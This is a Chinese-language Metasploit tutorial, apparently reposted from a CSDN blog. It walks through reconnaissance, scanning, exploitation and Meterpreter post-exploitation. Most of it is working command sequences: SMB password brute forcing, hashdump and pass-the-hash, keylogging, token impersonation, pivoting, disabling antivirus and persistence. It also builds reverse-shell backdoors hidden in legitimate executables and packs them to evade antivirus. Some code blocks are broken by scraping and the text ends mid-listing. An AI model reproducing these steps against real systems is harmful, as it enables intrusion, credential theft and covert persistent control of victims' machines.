Metasploit-使用详解
一.名词解释
exploit
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的
有内存溢出,网站程序漏洞利用,配置错误exploit。
payload
我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只
能在目标机器上执行有限命令的程序。
shellcode
是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可
执行命令的shell。
module
MSF 的模块,由一系列代码组成。
listener
等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序
二. 编码器
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai
三.信息刺探与收集
1、攻击第一步:基础信息收集
whois 查询:
msf > whois example.com
msf> whois 192.168.1.100在线手机服务器IP工具
nslookup
set type=mx
example.com
2、用nmap 探测开放端口和服务:
-sS SYN 半开扫描
-sT TCP 半开扫描
-Pn 不使用ping方式探测主机
-A 探测服务类型
-6 开启IPV6 扫描
-O 探测操作系统版本
常用扫描参数组合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111
3、MSF 与postgresql 协同工作
1 | /etc/init.d/postgreql-8.3 start |
导入nmap 扫描的结果:
1 | nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml |
(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库
mysql 默认密码toor,使用db_connect 连接时会自动创建msf3 库)
4、高级扫描方式:
1 | msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似 |
(RHOSTS、RPORT 等参数也可以用小写)
msf> nmap –PN –sI 192.168.1.09 192.168.1.155
- nmap 连接数据库:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果 - 使用portscan 模块:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run
5、特定扫描:
- smb_version 模块:
1
2
3
4
5msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor - 查找mssql 主机:
1
2
3
4
5msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run - SSH 服务器扫描:
1
2
3msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run - FTP 主机扫描:
1
2
3
4
5msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run - 扫描FTP 匿名登录:
1
2
3
4use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run - 扫描SNMP 主机:
1
2
3
4msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run四.基本漏洞扫描
1、使用nc 与目标端口通信,获取目标端口的信息:
nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.11、还有一个功能与nc 类似的工具Ncat,产自nmap 社区,可实现相同功能:
ncat -C 192.168.1.111 80
GET / HTTP/1.0
2、题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就
可以聊天了:服务器(chatserver):ncatncat -l –chat 其他客户端:ncat chatserver
3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据:
服务器(server.example.com)上:ncat -l –keep-open 80 –output caidao.log > /dev/null
然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log 里面了。也可以导出为hex 格式,–output 换为–hex-dump就可以了。
4:其实与nc 功能类似的工具在bt5 里面还有很多,比如还有一个sbd:
监听:sbd -l -p 12345
连接:sbd 192.168.1.111 12345
5:当然也可以用来聊天,与ncat 的不同之处在于ncat 自动对用户编号user1、user2、…,
而sbd 可以自定义昵称,且不需要专门单独监听为聊天服务器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil
6:其实nc 也可以用来聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345)
3、与nessus 结合扫描:
- 使用Nessus 扫描完成后生成.nessus 格式的报告,导入到MSF:
db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns - 在MSF 中使用Nessus:
db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的扫描规则
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称
nessus_scan_status #查看扫描进行状态
nessus_report_list #查看扫描结果
nessus_report_get skjla243-3b5d-* #导入报告
db_hosts –c address,svcs,vulns
4、特殊扫描:
- SMB 弱口令:
1
2
3
4
5msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run - VNC 空口令:
1
2
3msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run - Open X11 空口令:
1
2
3
4msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run - 当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘输入:
1
2
3cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100
(xspy 这货在bt5 r1 里面貌似木有了)五.基础溢出命令
1、基本命令:
查看可用溢出模块 show exploits
查看辅助模块 show auxiliary 包括扫描器,拒绝服务模块,fuzzer 工具或其他。
查看可用选项 show options - 加载模块后退出此模块 back
例子: msf> use windows/smb/ms08_067_netapi
back - 搜索模块search
例子: searh mssql search ms08_067 - 查看当前模块可用的payload: show payloads
例子:
use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options
查看可选的目标类型 show targets
查看更多信息 info
设置一个选项或取消设置 set/unset
设置或取消全局选项 setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置
保存全局选项的设置 save 当下次启动仍然生效
查看建立的session sessions –l
激活session sessions –i num #num 为session 编号
2、暴力端口探测:
当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf 将对目标的所有
端口进行尝试,直到找到一个开放端口并与测试者建立连接。
例子:
1 | use exploit/windows/smb/ms08_067_netapi |
3、MSF 脚本文件:
为了缩短测试时间可以将msf 命令写入一个文件,然后在msf 中加载它。
加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项
例子:
1 | echo ‘version’ > resource.rc |
例子:
1 | echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc |
六.Meterpreter
1、当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。
例子:
1 | msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务 |
至此可获取服务器名称,版本号等信息。
1 | msf> use auxiliary/scanner/mssql/mssql_login |
暴力猜解登陆密码。
接下来使用mssql 自带的xp_cmdshell 功能添加账户:
1 | msf> use exploit/windows/mssql/mssql_payload |
当获取到一个meterpreter shell 后可以执行更多的操作:
获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录: keyscan_start
1 | meterpreter> ps #查看目标机器进程,假设发现explorer.exe 的进程号为1668: |
- 获取系统账号密码:
1
2meterpreter> use priv
meterpreter> run post/windows/gather/hashdump - 当获取到密码的hash 之后无法破解出明文密码且无法直接使用hash 登陆,需要使用
pass-the-hash 技术:获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:1
2
3
4
5
6
7msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
在目标机器上执行:net uaer hacker pass /add - 本地生成一个后门程序: 将payload.exe 拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:
1
2msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid
至此取得SYSTEM 权限
2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。
1 | meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380 |
3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:
例子:
1 | meterpreter> run get_local_subnets #查看网段/子网 |
也可以使用自动式添加路由模块:
1 | msf> load auto_add_route |
4、Meterpreter 脚本:
使用run scriptname 方式执行
- ①vnc 脚本,获取远程机器vnc 界面控制
1
2meterpreter> run vnc
meterpreter> run screen_unlock - ②进程迁移
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:(在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的run post/windows/manage/migrate 1
权限是有差异的。) - ③关闭杀毒软件
1
meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。)
- ④获取系统密码hash
1
2
3
4
5meterpreter> run hashdump
(64 位win7 下需要管理员权限执行后门且先getsystem,然后使用
run post/windows/gather/hashdump 来dump hash 成功率更高。
而且如果要使用shell 添加系统账户的话win7 下得先:
run post/windows/escalate/bypassuac ,不然可能不会成功。) - ⑤获取系统流量数据
meterpreter> run packtrecorder –i 1
- ⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等meterpreter> run scraper
- ⑦维持控制
当目标机器重启之后仍然可以控制meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
- -X 开机启动-i 连接超时时间–p 端口–rIP*
- 下次连接时:*
use multi/handler 1
2
3
4set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
- ⑧POST 整合模块
可实现同时多个session 操作
例子:获取hashmeterpreter> run post/windows/gather/hashdump
其他还有很多,使用TAB 键补全看下就知道run post/
5、升级command shell
例子:
1 | msfconsole |
6、使用Railgun 操作windows APIs
例子:
meterpreter> irb
client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
在目标机器上会弹出一个标题栏为world 和内容为hello 的窗口
七.避开杀软
1、使用msfpayload 创建可执行后门:
例子:
msfpayload windows/shell_reverse_tcp 0 #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
/var/www/payload1.exe
然后本机监听端口
1 | msf> use exploit/multi/handler |
2、过杀软—使用msfencode 编码后门:
msfencode –l #列出可用编码器
例子:msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。
3、多次编码:
例子:
1 | msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | |
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。
(题外:经测试,1:使用此命令生成的后门也被MSE 杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp 生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86 编码器编码的后门在64 位机器上无法执行;5:360 有个沙箱功能,后门文件右键选择“在360 隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)
4、自定义可执行程序模板:
msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同
平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
在目标机器上运行,然后本地使用msfcli 监听端口等待反弹连接:
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
LPORT=8080 E
5、暗度陈仓—猥琐执行payload:
绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例:
1 | msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode |
假如选择一个GUI 界面的程序作为绑定目标并且不使用 -k 选项,则目标执行此程序的时候不会弹出cmd窗口, -k 选项的作用是payload 独立于模板软件的进程运行。
6、加壳:
msfencode 部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后更保险”,例如UPX :
apt-get install upx
最新版可到sf.net 下载
使用方法:
upx -5 /var/www/payload3.exe
还有另外一个工具msfvenom 结合了msfpayload 和msfencode 的功能,使用起来更省心,
亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。
八.使用用户端攻击方式(client-side attacks)
1、主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 器,pdf 阅读器,office 软件等,最终获取系统权限。
基于浏览器的攻击:
例子:
1 | msf> use windows/browser/ms10_002_aurora |
或者:
1 | msf> use windows/browser/ms10_002_aurora |
2、文件格式exploit
利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。
例子:
msf> use windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit
此时会生成一个msf.doc 的word 文档,在目标机器上打开此文档,然后本机监听端口
等待反弹连接:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit –j
九.MSF 附加模块
包括端口扫描,服务探测,弱口令探测,fuzzer,sql 注射等。附加模块没有payload。
模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。
可用命令查看全部可用附加模块:msf> show auxiliary
例子:
1 | msf> use scanner/http/webdav_scanner |
搜索所有http 相关扫描模块:
sea rch scanner/http
附加模块深层剖析:
cd /opt/framework3/msf3/modules/auxiliary/admin/
wget
http://carnal0wnage.googlecode.c … admin/random/foursq
ueare.rb
代码分析:
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary #导入Auxiliaary 类
#Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient #导入HTTPClient 方法
include Msf::Auxiliary::Report
def initialize
super(
‘Name’ => ‘Foursquare Location Poster’,
‘Version’ => ‘Revision:
本文来自 PolluxAvenger 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/tan6600/article/details/46850057?utm_source=copy